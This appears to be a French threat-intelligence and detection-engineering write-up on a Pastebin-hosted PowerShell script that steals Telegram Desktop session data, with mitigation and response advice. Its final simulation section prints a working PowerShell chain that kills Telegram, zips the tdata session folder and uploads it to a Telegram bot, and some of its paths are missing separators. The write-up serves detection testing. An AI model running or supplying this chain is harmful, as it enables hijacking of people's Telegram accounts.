Au cœur d’un voleur de session Telegram : Comment un script PowerShell hébergé sur Pastebin cible les sessions de bureau et web

Résumé

Un script PowerShell malveillant hébergé sur Pastebin se fait passer pour une mise à jour Windows tout en volant les données de session de Telegram Desktop des systèmes infectés. Le script rassemble les détails de l’hôte, compresse le tdata répertoire de Telegram et exfiltre l’archive résultante via l’API Telegram Bot. Les chercheurs ont également identifié un stealer basé sur le Web conçu pour capturer les clés d’authentification de Telegram Web et les transmettre à un collecteur HTTP local. Les deux outils s’appuient sur le même bot Telegram pour les notifications, bien que les preuves disponibles suggèrent qu’ils restent dans une phase de test plutôt que d’utilisation opérationnelle large.

Enquête

Les analystes ont récupéré deux variantes de scripts hébergés sur Pastebin, découvert des jetons de bot et des ID de chat codés en dur, et reconstruit le processus complet d’exfiltration. Pendant son exécution, le script termine Telegram.exe, archive le tdata dossier, et télécharge le fichier ZIP via l’API sendDocument de bot. La télémétrie du bot a également exposé un stealer axé sur le Web séparé, qui a transmis les clés d’authentification MTProto à un collecteur privé hébergé à 192.168.137.131:5000. Globalement, les conclusions pointent vers des tests fonctionnels et une validation plutôt qu’une campagne mature à grande échelle.

Atténuation

Les organisations qui n’ont pas besoin de Telegram devraient bloquer le trafic sortant vers api.telegram.org et l’infrastructure Telegram associée. Les défenseurs devraient surveiller PowerShell pour l’utilisation de Invoke-RestMethod or WebClient ciblant les points de terminaison de l’API de Telegram et détecter les archives ZIP créées dans les répertoires temporaires contenant tdata du contenu. Tous les jetons de bot exposés devraient être révoqués immédiatement et remplacés pour empêcher toute utilisation abusive.

Réponse

Si le script est découvert, terminez le processus PowerShell associé et supprimez tout diag.zip archives générées. Révoquez toutes les sessions Telegram actives liées au compte affecté et activez l’authentification à deux facteurs pour réduire le risque d’accès continu. Le jeton de bot doit être modifié, et le chat du bot lié doit être examiné pour trouver des preuves de données exfiltrées. Une enquête médico-légale plus large devrait également confirmer si des informations d’identification ou du matériel de session supplémentaires ont été collectés.

Exécution de simulation

Prérequis : Le test de pré-vol de télémétrie et de base doit avoir réussi.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et la narration DOIVENT refléter directement les TTP identifiés et viser à générer exactement la télémétrie attendue par la logique de détection.

• Narratif et commandes de l’attaque :

  1. Reconnaissance : L’attaquant interroge api.ipify.org pour découvrir l’IP publique de l’hôte (utilisée plus tard pour la journalisation).
  2. Perturbation du service : Arrête le processus Telegram Desktop légitime pour s’assurer que les fichiers ne sont pas verrouillés.
  3. Collecte des données : Copie de manière récursive le répertoire tdata de Telegram Desktop (fichiers de session) vers un emplacement temporaire.
  4. Archivage : Compresse les données collectées dans diag.zip.
  5. Exfiltration : Envoie l’archive à un bot Telegram malveillant via Invoke‑RestMethod.
  6. Nettoyage : Supprime l’archive temporaire et redémarre éventuellement Telegram.

• Script de test de régression : Exécute toute la chaîne d’attaque dans une seule ligne de commande PowerShell (correspondant à la règle de détection).

  # Mise à jour de télémétrie Windows – Vol de session Telegram
  $ip = (Invoke-RestMethod -Uri "http://api.ipify.org").Content;
  Stop-Process -Name Telegram -Force;
  $src = "$env:APPDATATelegram Desktoptdata";
  $dst = "$env:TEMPdiag";
  Copy-Item -Path $src -Destination $dst -Recurse -Force;
  Compress-Archive -Path $dst* -DestinationPath "$env:TEMPdiag.zip" -Force;
  $botToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11";
  $chatId = "987654321";
  Invoke-RestMethod -Uri "https://api.telegram.org/bot$botToken/sendDocument?chat_id=$chatId" -Method Post -InFile "$env:TEMPdiag.zip" -ContentType "multipart/form-data";
  Remove-Item -Path "$env:TEMPdiag.zip" -Force;

• Commandes de nettoyage : Restaure l’environnement à son état original.

  # Redémarre Telegram (si souhaité) et supprime les données copiées
  Start-Process -FilePath "$env:ProgramFilesTelegram DesktopTelegram.exe" -WindowStyle Hidden;
  Remove-Item -Path "$env:TEMPdiag" -Recurse -Force;